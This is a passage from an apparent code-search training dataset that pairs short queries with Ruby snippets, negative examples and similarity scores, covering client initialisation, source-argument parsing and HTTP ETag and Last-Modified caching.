"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
if use init, every each call client, this client are same | def init(url = 'localhost:3000', app = 'weapp')
@url = url
@app = app
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def init_client; end",
"def initialize(client)\n self.client=client\n\n\tend",
"def post_init\n puts \"#{self.class}/#{self} client post_init runs\"\n end",
"def initialize\n @clients = []\n end",
"def initialize(client)\n\t self.client=client\n end",
"def client; end",
"def client; end",
"def initialize(client)\n\t\tself.client = client\n\tend",
"def initialize(client)\n\t\tself.client = client\n\tend",
"def client\n set_connection unless @client\n @client\n end",
"def reset_client\n @client = nil\n init_client\n end",
"def initialize(clients)\n @all_clients = clients\n end",
"def setup\n @client = @@client\n end",
"def initialize(clients)\n @clients = clients\n super\n end",
"def client\n end",
"def initialize\n @clients = {} # client_id -> channel_id\n @channels = {} # channel_id -> counter\n @lock = Mutex.new\n end",
"def initialize(client)\n super(client, 'core')\n end",
"def client\n @client ||= Client.new\n end",
"def initialize(client)\n @client = client\n end",
"def initialize client, instance_ref, instance_data = nil\n super\n end",
"def create_clients\n @haproxy = rpcclient('haproxy')\n @site = rpcclient('site')\n @service = rpcclient('service')\n @rpcutil = rpcclient('rpcutil')\n # Disable to progress bar to clean up output a little\n [@haproxy, @site, @service, @rpcutil].each do |client|\n client.progress = false\n end\nend",
"def initialize\n log.info \"Main server: #{client[\"/apps/cocina/host\"]} - #{client[\"/apps/cocina/main_port\"]}\"\n super client[\"/apps/cocina/host\"], client[\"/apps/cocina/main_port\"]\n end",
"def init_params(parmas)\n @client_id = parmas[:client_id]\n @client = Client.get_from_memcache(@client_id)\n end",
"def prepare_simple_client(client, channel, type); end",
"def new\n\t\t@client = Client.new\n\tend",
"def prepare_client(client, channel, type); end",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def client\n if !@client || @client.hash != options.hash\n @client = Croudia::Client.new\n end\n @client\n end",
"def initialize\n super\n\n self.callbacks = ::ActiveSupport::HashWithIndifferentAccess.new\n self.callbacks_queue = []\n\n self.responses = ::ActiveSupport::HashWithIndifferentAccess.new\n self.responses_queue = []\n\n self.client = ::Syncano::Clients::Sync.instance\n self.received_data = ''\n end",
"def auto_initialize!\n client\n topic\n end",
"def client\n @client ||= Gamewisp::Client.new\nend",
"def client\n @client ||= self.class.client\n end",
"def set_clients\n @clients = Client.all\n end",
"def initialize(client)\n super(nil)\n\n @client = client\n end",
"def post_init\n puts \"Client connected!\"\n $clients_list ||= {}\n \n # Remember the connection\n connection = Connection.new(self.object_id, self, \"Player #{$pc}\")\n $clients_list.merge!({self.object_id => connection})\n\n # Send this message to the newly connected player\n send_create_yourself()\n \n # Alert all other players that a ship connected\n $clients_list.values.each do |c|\n send_new_entity(c.socket) if c.socket != self\n end\n \n $pc += 1\n end",
"def client\n @client ||= Client.current\n end",
"def client\n puts \"creating client\"\n @client ||= Vineyard::Client.new(options) #unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def initialize(*args)\n\t\t\t\tsuper\n\t\t\t\t#super called in order to call the same method from the parent class and then adding our thing (next line)\n\t\t\t\t@cleverbot = ::Cleverbot::Client.new #:: means look not at this namespace but at the very top and search down.\n\t\t\tend",
"def internal_client(client)\n @internal_client ||= client.with(\n auto_encryption_options: nil,\n min_pool_size: 0,\n monitoring: client.send(:monitoring),\n )\n end",
"def clientserver\n end",
"def initialize(name, client)\n\t\t@name = name\n\t\t@client = client\n\tend",
"def initialize options\n @options = options\n @client_count = options.clients\n#=begin\n @clients = []\n @client_count.times do |i|\n # @clients << Thread.new do\n # client = Client.new(@options)\n # client.run\n # end\n #@clients << Proc.new do\n # client = Client.new(@options)\n # client.run\n #end\n pid = fork {\n client = Client.new(@options)\n client.run\n }\n\n @clients << pid\n puts \"#{pid} started.\"\n sleep 0.5\n end\n#=end\n\n #client = Client.new(@options)\n #client.run\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end"
] | [
"0.8025852",
"0.73622066",
"0.725011",
"0.722477",
"0.705553",
"0.6890761",
"0.6890761",
"0.68437535",
"0.68437535",
"0.6681286",
"0.66677153",
"0.665912",
"0.6658834",
"0.6629339",
"0.660935",
"0.66060644",
"0.6593374",
"0.6584792",
"0.65449494",
"0.6541615",
"0.65325975",
"0.6529444",
"0.64968926",
"0.6457447",
"0.64495397",
"0.6432677",
"0.6404751",
"0.6404751",
"0.6381906",
"0.63477767",
"0.633564",
"0.6311857",
"0.6275836",
"0.6272196",
"0.6250432",
"0.625042",
"0.62475085",
"0.6231193",
"0.62297624",
"0.6226732",
"0.6208638",
"0.61984235",
"0.61905617",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616",
"0.61874616"
] | 0.0 | -1 |
source can take any of the following as arguments A single string argument Multiple string arguments An array or strings A delayed evaluator that evaluates to a string or array of strings All strings must be parsable as URIs. source returns an array of strings. | def source(*args)
arg = parse_source_args(args)
ret = set_or_return(:source,
arg,
{ callbacks: {
validate_source: method(:validate_source),
} })
if ret.is_a? String
Array(ret)
else
ret
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def source(*args)\n arg = parse_source_args(args)\n ret = set_or_return(:source,\n arg,\n { :callbacks => {\n :validate_source => method(:validate_source),\n } })\n if ret.is_a? String\n Array(ret)\n else\n ret\n end\n end",
"def source(arg=nil)\n set_or_return(\n :source,\n arg,\n :kind_of => [ String ]\n )\n end",
"def source(arg = nil)\n set_or_return(:source, arg, kind_of: [String])\n end",
"def get_source_content\n\t\treturn [] unless File.exists? @source\n\t\treturn File.read(@source).split(\"\\n\")\n\tend",
"def parse_source(source)\n lines = source.lines.to_a\n starting_line_index = @line_number - 1\n ending_line_index = starting_line_index\n sexp = nil\n while !sexp && ending_line_index < lines.size\n begin\n snippet = lines.to_a[starting_line_index..ending_line_index].join\n sexp = parser.parse(snippet)\n return ParsedCode.new(sexp)\n rescue Racc::ParseError\n ending_line_index += 1\n raise if ending_line_index >= lines.size\n end\n end\n end",
"def sources_for(r)\n return if r[:source].to_s.empty?\n [{ url: r[:source] }]\n end",
"def source=(_arg0); end",
"def source=(_arg0); end",
"def source=(_arg0); end",
"def source=(_arg0); end",
"def source=(_arg0); end",
"def sources #:nodoc:\n @sources.map{ |source| source.call }.flatten\n end",
"def source_range(*arguments); end",
"def source *args, &block\n instance_eval &block if block_given?\n end",
"def adapt_source(source); end",
"def source_array\n @source_array ||=\n if new_resource.source.nil?\n package_name_array.map { nil }\n else\n [ new_resource.source ].flatten\n end\n end",
"def source_text(source)\n if source.respond_to?(:to_path)\n ::File.read(source.to_path)\n elsif source.respond_to?(:read)\n source.read\n elsif source.respond_to?(:to_str)\n source.to_str\n else\n raise ArgumentError, \"Unable to parse from #{source}\", caller\n end\n end",
"def source_location(*); end",
"def source_location(*); end",
"def source=(input); end",
"def source\n return @source if @source\n WHITELIST_REGEXES.each_pair do |name, reg|\n if source_url =~ reg\n @source = name\n break\n end\n end\n @source\n end",
"def full_source=(_arg0); end",
"def parse(source); end",
"def get_source\n raise 'check this!'\n # _reflector = new ReflectionClass($this);\n # $file = _reflector.filename;\n # if (!file_exists($file)) {\n # return;\n # end\n # $source = file($file, FILE_IGNORE_NEW_LINES);\n # array_splice($source, 0, _reflector.getEndLine());\n # $i = 0;\n # while (isset($source[$i]) && '/* */' == substr_replace($source[$i], '', 3, -2)) {\n # $source[$i] = str_replace('*//* ', '*/', substr($source[$i], 3, -2));\n # ++$i;\n # end\n # array_splice($source, $i);\n # return implode(\"\\n\", $source);\n end",
"def source() end",
"def source_list(source)\n if source.nil? || source.empty?\n raise Error, 'No source specified for query'\n end\n auto_alias_count = @opts[:num_dataset_sources] || 0\n m = source.map do |s|\n case s\n when Dataset\n auto_alias_count += 1\n s.to_table_reference(\"t#{auto_alias_count}\")\n else\n table_ref(s)\n end\n end\n m.join(COMMA_SEPARATOR)\n end",
"def call(source)\n case source\n when File, Tempfile then source.read\n when StringIO then source.string\n else source.to_s\n end\n end",
"def source_path(arg=nil)\n set_or_return(\n :source_path,\n arg,\n :kind_of => [ String ]\n )\n end",
"def from_string(original_source); end",
"def source\n \"5+5+5\"\n end",
"def raw_source=(input); end",
"def read_source\n source = []\n File.open($source_file, \"r\") do |file|\n doc = REXML::Document.new(file)\n doc.root.elements.each do |element|\n source << [element.name.strip, element.text.strip]\n end\n end\n return source\nend",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def process_source(source)\n return source if source.is_a?(String) && source =~ /\\n/\n\n source, _ = engine.fetch_source(source, { :view_path => options[:view_path] })\n source\n end",
"def load_from(source)\n if ( source[0..4] == 'http:' || source[0..5] == 'https:' )\n load_url(source)\n else\n load_file(source)\n end\n end",
"def sources *names\n ## reader\n return @sources if names.size == 0\n ## affectation\n names.each do |sname|\n s = @flow.sources(sname)\n @sources << s if s\n raise \"Unknown source #{sname} in monitor #{name}!\" unless s\n end\n end",
"def source(arg = nil)\n set_or_return(:source, arg, kind_of: [String, NilClass], default: nil)\n end",
"def sources\n %w[\n sample_source\n ]\nend",
"def read_from_source(o = {})\n []\n end",
"def source_file(arg=nil)\n set_or_return(\n :source_file,\n arg,\n :kind_of => [ String ]\n )\n end",
"def read_source(source_file)\n @source_lines = source_file.readlines()\n end",
"def get_data_from_source(source)\n url = URI.parse(source.api_url)\n\n if url.respond_to?(:request_uri)\n begin\n Net::HTTP.get_response(url).body\n rescue\n end\n end\n end",
"def url_from_javascript(script_source)\n script_source.scan(/src\\s*=\\s*[\"']([^\"']*)/).flatten\n end",
"def source_url(arg = nil)\n set_or_return(\n :source_url,\n arg,\n kind_of: [ String ]\n )\n end",
"def source= string\n #This is a stub, used for indexing\n end",
"def get_sources\n response = execute_get(\"/reference/source\")\n Source.from_array(decode(response))\n end",
"def source\n ap get_source\n end",
"def source(options = {})\r\n end",
"def source(filename); end",
"def call(*sources, boundary:, **)\n parts = sources.flatten.map.with_index(1) do |src, num|\n \"--#{boundary}\\r\\n#{part(src, num)}\"\n end\n\n [nil, nil, parts, \"--#{boundary}--\", nil].join(\"\\r\\n\")\n end",
"def command_sources(str_opts)\n command :sources do |c|\n c.syntax = 'budik sources [options]'\n c.summary = @str_sources.summary\n c.description = @str_sources.description\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--download', str_opts.download\n c.option '-e', '--edit', str_opts.download\n c.action { |_args, opts| Command.new(:sources, opts) }\n end\n end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def parse(source, path = T.unsafe(nil)); end",
"def source(uri)\n sources << uri\n end",
"def parse(source)\n buffer = ::Parser::Source::Buffer.new('(string)')\n buffer.source = source\n\n @parser.reset\n @parser.parse(buffer)\n end",
"def read_file_source\n %Q|\n var readFile = function(path) {\n try {\n var file = Components.classes[\"@mozilla.org/file/local;1\"]\n .createInstance(Components.interfaces.nsILocalFile);\n file.initWithPath(path);\n\n var fileStream = Components.classes[\"@mozilla.org/network/file-input-stream;1\"]\n .createInstance(Components.interfaces.nsIFileInputStream);\n fileStream.init(file, 1, 0, false);\n\n var binaryStream = Components.classes[\"@mozilla.org/binaryinputstream;1\"]\n .createInstance(Components.interfaces.nsIBinaryInputStream);\n binaryStream.setInputStream(fileStream);\n var array = binaryStream.readByteArray(fileStream.available());\n\n binaryStream.close();\n fileStream.close();\n file.remove(true);\n\n return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(\"\");\n } catch (e) { return \"\"; }\n };\n |\n end",
"def validate_check_source(check)\n if is_a_string?(check[:source])\n must_match_regex(/\\A[\\w\\.-]*([:]{3}[\\w\\|\\.-]+[:]{3}[\\w\\.-]*|[\\w\\.-]+)\\z/, check[:source]) ||\n invalid(check, \"check source cannot contain spaces, special characters, or invalid tokens\")\n else\n invalid(check, \"check source must be a string\")\n end\n end",
"def plain_source\n lines.join\n end",
"def set_source_string(source)\n @source = source\n end",
"def data_sources\n src.collect{|v| v['source']}\n end",
"def initialize(source_string='')\n @source = source_string\n end",
"def add_source(*source)\n unless source.blank?\n what.query.add(:sources) << source.flatten \n changed\n end\n end",
"def load_source_for(klass, source, source_vars)\n if source.nil? || source !~ /\\n/m\n base_names = [source, Utils.class_name_to_path(context.name), Utils.class_name_to_type(context.name)]\n paths = base_names.map{|bn| [\"#{Conf.elastics_dir}/#{bn}.yml\", \"#{Conf.elastics_dir}/#{bn}.yml.erb\"]}.flatten\n paths << source.to_s\n source = paths.find {|p| File.exist?(p)}\n end\n raise ArgumentError, \"Unable to load the source: expected a string, got #{source.inspect}\" \\\n unless source.is_a?(String)\n @sources << [klass, source, source_vars]\n do_load_source(klass, source, source_vars)\n # fixes the legacy empty stubs, which should call super instead\n # @templates.keys.each do |name|\n # meta_context.send(:define_method, name){|*vars| super *vars }\n # end\n end",
"def args(sexp)\n if call_site?(sexp)\n (rest(sexp[3])).collect { |each| Code.from_s_expression(each) }\n else\n []\n end\n end",
"def source\n @callable\n end",
"def source\n @callable\n end",
"def sources(*srcs)\n @recipe.sources << srcs.flatten.compact\n end",
"def resolved_source_array\n @resolved_source_array ||=\n source_array.each_with_index.map do |source, i|\n package_name = package_name_array[i]\n # we require at least one '/' in the package_name to avoid [XXX_]package 'foo' breaking due to a random 'foo' file in cwd\n if use_package_name_for_source? && source.nil? && package_name.match(/#{::File::SEPARATOR}/) && ::File.exist?(package_name)\n logger.trace(\"No package source specified, but #{package_name} exists on filesystem, using #{package_name} as source.\")\n package_name\n else\n source\n end\n end\n end",
"def load_files(*sources); end",
"def lines(source); end",
"def parse(source)\n Parser.parse(source)\n end",
"def process_uris(element, value, evaluation_context, base, **options)\n return [] if value.to_s.empty?\n add_debug(element) {\"process_uris: #{value}\"}\n value.to_s.split(/\\s+/).map {|v| process_uri(element, v, evaluation_context, base, **options)}.compact\n end",
"def source(a_string)\n get_location\n unless String == a_string.class\n error \"Expected a String #{location}\"\n else\n a_path = Pathname.new(a_string.strip)\n unless a_path.absolute?\n a_path = configatron.config.parent + a_path\n end\n unless a_path.exist?\n error \"File does not exist #{location}\"\n else\n unless '.xls' == a_path.extname.to_s.downcase\n error \"File is not of type *.xls #{location}\"\n else\n @params[:source] = a_path\n end\n end\n end\n end",
"def source=(a)\n unless %w[ P R E L ].include?(a)\n raise DataError, \"source must be one of P, R, E, L (see http://www.last.fm/api/submissions)\"\n end\n @source = a\n end",
"def evaluate_string(puppet_code, source_file = nil)\n return nil if puppet_code.nil? || puppet_code == ''\n unless puppet_code.is_a?(String)\n raise ArgumentError, _(\"The argument 'puppet_code' must be a String, got %{type}\") % { type: puppet_code.class }\n end\n evaluate(parse_string(puppet_code, source_file))\n end",
"def support_multiple_source?; end",
"def read_from(source)\n return source.read if source.respond_to?(:read)\n return File.read(source.to_str) if source.respond_to?(:to_str)\n raise ArgumentError\n end",
"def get_token_str(source)\n log_and_raise_error(\n 'ddd lexer failure, contains unsupported tokens'\n ) do\n tokens = []\n source.each do |str|\n tokens.pop unless tokens.empty?\n tokens += ConvergDB::DDD::Lexer.lex(str)\n end\n tokens\n end\n end",
"def source(source)\n sou = CGI.escape(source)\n query_filters << \"source:#{sou}\"\n self\n end",
"def load_strings(file_or_url)\n loadStrings(file_or_url).to_a\n end",
"def load_strings(file_or_url)\n loadStrings(file_or_url).to_a\n end",
"def get_source_data(source_name:, catalog_id:)\n response = HTTParty.get(\"#{@host}/api/sources/#{source_name}\", query: {\n catalog_id: catalog_id,\n api_key: @api_key\n })\n \n return response[\"source\"]\n end",
"def sources\n []\n end"
] | [
"0.791088",
"0.6675598",
"0.6345544",
"0.6165359",
"0.60313857",
"0.6004425",
"0.59468085",
"0.59468085",
"0.59468085",
"0.59468085",
"0.59468085",
"0.58789057",
"0.58679634",
"0.58420074",
"0.5757213",
"0.5739514",
"0.5690611",
"0.56784505",
"0.56784505",
"0.5676527",
"0.5654095",
"0.5630415",
"0.5616469",
"0.55441076",
"0.5542917",
"0.554097",
"0.5512354",
"0.5507187",
"0.5491923",
"0.5490273",
"0.5485477",
"0.54803884",
"0.5479644",
"0.5479644",
"0.54735374",
"0.5455707",
"0.54491866",
"0.54372734",
"0.5426071",
"0.54197544",
"0.54187495",
"0.5412031",
"0.5404085",
"0.53936243",
"0.53865045",
"0.5371207",
"0.5367997",
"0.53543603",
"0.5349976",
"0.5344278",
"0.53065914",
"0.53040236",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.52967465",
"0.5279615",
"0.5277195",
"0.5276992",
"0.52754796",
"0.5266571",
"0.5256716",
"0.52480817",
"0.52443886",
"0.5240973",
"0.52303207",
"0.5229694",
"0.5228745",
"0.52280015",
"0.52280015",
"0.5224657",
"0.52200496",
"0.52125573",
"0.5202092",
"0.5199517",
"0.5195559",
"0.5185702",
"0.51832205",
"0.51668036",
"0.51610875",
"0.5160701",
"0.51509154",
"0.5147177",
"0.5146524",
"0.5145125",
"0.51343936",
"0.51311845"
] | 0.7801762 | 1 |
Disable or enable ETag and Last Modified conditional GET. Equivalent to use_etag(true_or_false) use_last_modified(true_or_false) | def use_conditional_get(true_or_false)
use_etag(true_or_false)
use_last_modified(true_or_false)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get(path, headers = {})\n cached_response = fetch_cached_response(path)\n if cached_response\n headers = headers.merge 'If-None-Match' => cached_response['Etag']\n end\n response = super(path, headers)\n case response\n when Net::HTTPNotModified then cached_response\n else\n cache_response(path, response)\n response\n end\n end",
"def cache_control(options)\n return if !Config['production']\n\n if options[:no_cache]\n response.headers.delete('ETag')\n response.headers.delete('Last-Modified')\n response.headers.delete('Cache-Control')\n return\n end\n\n last_modified = options.delete(:last_modified)\n modified_since = env['HTTP_IF_MODIFIED_SINCE']\n last_modified = last_modified.try(:to_time) || last_modified\n last_modified = last_modified.try(:httpdate) || last_modified\n\n if options[:version]\n options[:etag] = options[:version].cache_id\n options[:last_modified] = options[:version].date\n end\n\n if User.logged_in?\n # Always private mode if user is logged in\n options[:private] = true\n\n # Special etag for authenticated user\n options[:etag] = \"#{User.current.name}-#{options[:etag]}\" if options[:etag]\n end\n\n if options[:etag]\n value = '\"%s\"' % options.delete(:etag)\n response['ETag'] = value.to_s\n response['Last-Modified'] = last_modified if last_modified\n if etags = env['HTTP_IF_NONE_MATCH']\n etags = etags.split(/\\s*,\\s*/)\n # Etag is matching and modification date matches (HTTP Spec §14.26)\n halt :not_modified if (etags.include?(value) || etags.include?('*')) && (!last_modified || last_modified == modified_since)\n end\n elsif last_modified\n # If-Modified-Since is only processed if no etag supplied.\n # If the etag match failed the If-Modified-Since has to be ignored (HTTP Spec §14.26)\n response['Last-Modified'] = last_modified\n halt :not_modified if last_modified == modified_since\n end\n\n options[:public] = !options[:private]\n options[:max_age] ||= 0\n options[:must_revalidate] ||= true if !options.include?(:must_revalidate)\n\n response['Cache-Control'] = options.map do |k, v|\n if v == true\n k.to_s.tr('_', '-')\n elsif v\n v = 31536000 if v.to_s == 'static'\n \"#{k.to_s.tr('_', '-')}=#{v}\"\n end\n end.compact.join(', ')\n end",
"def cache_control(options)\n return if !Config['production']\n\n if options[:no_cache]\n response.headers.delete('ETag')\n response.headers.delete('Last-Modified')\n response.headers.delete('Cache-Control')\n return\n end\n\n last_modified = options.delete(:last_modified)\n modified_since = env['HTTP_IF_MODIFIED_SINCE']\n last_modified = last_modified.try(:to_time) || last_modified\n last_modified = last_modified.try(:httpdate) || last_modified\n\n if User.logged_in?\n # Always private mode if user is logged in\n options[:private] = true\n\n # Special etag for authenticated user\n options[:etag] = \"#{User.current.name}-#{options[:etag]}\" if options[:etag]\n end\n\n if options[:etag]\n value = '\"%s\"' % options.delete(:etag)\n response['ETag'] = value.to_s\n response['Last-Modified'] = last_modified if last_modified\n if etags = env['HTTP_IF_NONE_MATCH']\n etags = etags.split(/\\s*,\\s*/)\n # Etag is matching and modification date matches (HTTP Spec §14.26)\n halt :not_modified if (etags.include?(value) || etags.include?('*')) && (!last_modified || last_modified == modified_since)\n end\n elsif last_modified\n # If-Modified-Since is only processed if no etag supplied.\n # If the etag match failed the If-Modified-Since has to be ignored (HTTP Spec §14.26)\n response['Last-Modified'] = last_modified\n halt :not_modified if last_modified == modified_since\n end\n\n options[:public] = !options[:private]\n options[:max_age] ||= 0\n options[:must_revalidate] ||= true if !options.include?(:must_revalidate)\n\n response['Cache-Control'] = options.map do |k, v|\n if v == true\n k.to_s.tr('_', '-')\n elsif v\n v = 31536000 if v.to_s == 'static'\n \"#{k.to_s.tr('_', '-')}=#{v}\"\n end\n end.compact.join(', ')\n end",
"def fresh(options)\n conditional_get = ConditionalGet.new(@_env, options)\n\n headers.merge!(conditional_get.headers)\n\n conditional_get.fresh? do\n halt 304\n end\n end",
"def enable_get\n add option: \"-get=true\"\n end",
"def not_modified?\n response.etag_matches?(original_request.if_none_match) ||\n response.last_modified_at?(original_request.if_modified_since)\n end",
"def not_modified_response(env, etag)\n [ 304, cache_headers(env, etag), [] ]\n end",
"def not_modified!\n body.close if body.respond_to?(:close)\n self.status = 304\n self.body = []\n NOT_MODIFIED_OMIT_HEADERS.each { |name| headers.delete(name) }\n nil\n end",
"def weak_etag?; end",
"def not_modified?(req, res, mtime, etag)\n if ir = req['if-range']\n begin\n if Time.httpdate(ir) >= mtime\n return true\n end\n rescue\n if WEBrick::HTTPUtils::split_header_valie(ir).member?(res['etag'])\n return true\n end\n end\n end\n if (ims = req['if-modified-since']) && Time.parse(ims) >= mtime\n return true\n end\n if (inm = req['if-none-match']) &&\n WEBrick::HTTPUtils::split_header_value(inm).member?(res['etag'])\n return true\n end\n\n return false\n end",
"def cache_control(opts)\n return if !App.production?\n etag(opts[:etag]) if opts[:etag]\n last_modified(opts[:last_modified]) if opts[:last_modified]\n if opts[:validate_only]\n response.headers.delete 'ETag'\n response.headers.delete 'Last-Modified'\n return\n end\n mode = opts[:private] ? 'private' : 'public'\n max_age = opts[:max_age] || (opts[:static] ? 86400 : 0)\n response['Cache-Control'] = \"#{mode}, max-age=#{max_age}, must-revalidate\"\n end",
"def strong_etag?; end",
"def disable_caching; end",
"def conditional_requests=(enabled); end",
"def is_not_modified?\n @code == 304\n end",
"def render_not_modified_or(last_modified)\n response.headers['Last-Modified'] = last_modified.httpdate if last_modified\n\n if_modified_since = request.env['HTTP_IF_MODIFIED_SINCE']\n if if_modified_since && last_modified &&\n last_modified <= Time.httpdate(if_modified_since)\n # The representation has not changed since it was last requested.\n # Instead of processing the request normally, send a response\n # code of 304 (\"Not Modified\").\n render :nothing => true, :status => \"304 Not Modified\"\n else\n # The representation has changed since it was last requested.\n # Proceed with normal request processing.\n yield\n end\n end",
"def set_etag (t, weak=false)\n\n t = '\"%s\"' % t\n t = weak ? \"W/#{t}\" : t\n\n @response.header['ETag'] = t\n\n etags = @request.etags\n\n if etags.include?(t) or etags.include?('*')\n throw(:done, 304) if @request.get? or @request.head?\n throw(:done, 412) # precondition failed\n end\n end",
"def add_conditional_headers(req, opts)\n\n # if path is cached send since and/or match\n\n e = @cache[opts[:c_uri]]\n\n return unless e # not cached\n\n req['If-Modified-Since'] = e.lastmod if e.lastmod\n req['If-None-Match'] = e.etag if e.etag\n\n opts[:c_cached] = e\n end",
"def last_modified(time)\n response['Last-Modified'] = time\n if reqeust.env['HTTP_IF_MODIFIED_SINCE'] > time\n throw :halt, response\n end\nend",
"def httpget=(value)\n Curl.set_option(:httpget, value_for(value, :bool), handle)\n end",
"def disable_cache; end",
"def cache_enabled?(opts)\n # only gets ever get cached\n return false unless opts[:method] == :get\n return false if opts[:cache_key].nil?\n return false unless Tml.cache.enabled?\n true\n end",
"def etag!(value, options = {})\n # Before touching this code, please double check RFC 2616 14.24 and 14.26.\n options = {:kind => options} unless Hash === options\n kind = options[:kind] || :strong\n new_resource = options.fetch(:new_resource) { request.post? }\n\n unless [:strong, :weak].include?(kind)\n raise ArgumentError, \":strong or :weak expected\"\n end\n\n value = '\"%s\"' % value\n value = 'W/' + value if kind == :weak\n response['ETag'] = value\n\n if success? or status == 304\n if etag_matches? env['HTTP_IF_NONE_MATCH'], new_resource\n halt(request.safe? ? 304 : 412)\n end\n\n if env['HTTP_IF_MATCH']\n halt 412 unless etag_matches? env['HTTP_IF_MATCH'], new_resource\n end\n end\n end",
"def do_GET(req,res,filename)\n st = File::stat(filename)\n mtime = st.mtime\n res['etag'] = sprintf(\"%x-%x-%x\", st.ino, st.size, st.mtime.to_i)\n if not_modified?(req, res, mtime, res['etag'])\n res.body = ''\n raise WEBrick::HTTPStatus::NotModified\n else\n res['content-type'] = WEBrick::HTTPUtils::mime_type(filename, @config[:MimeTypes])\n res['content-length'] = st.size\n res['last-modified'] = mtime.httpdate\n res.body = open(filename, \"rb\")\n end\n end",
"def request_fresh?\n etag_matches?(self.etag) || not_modified?(self.last_modified)\n end",
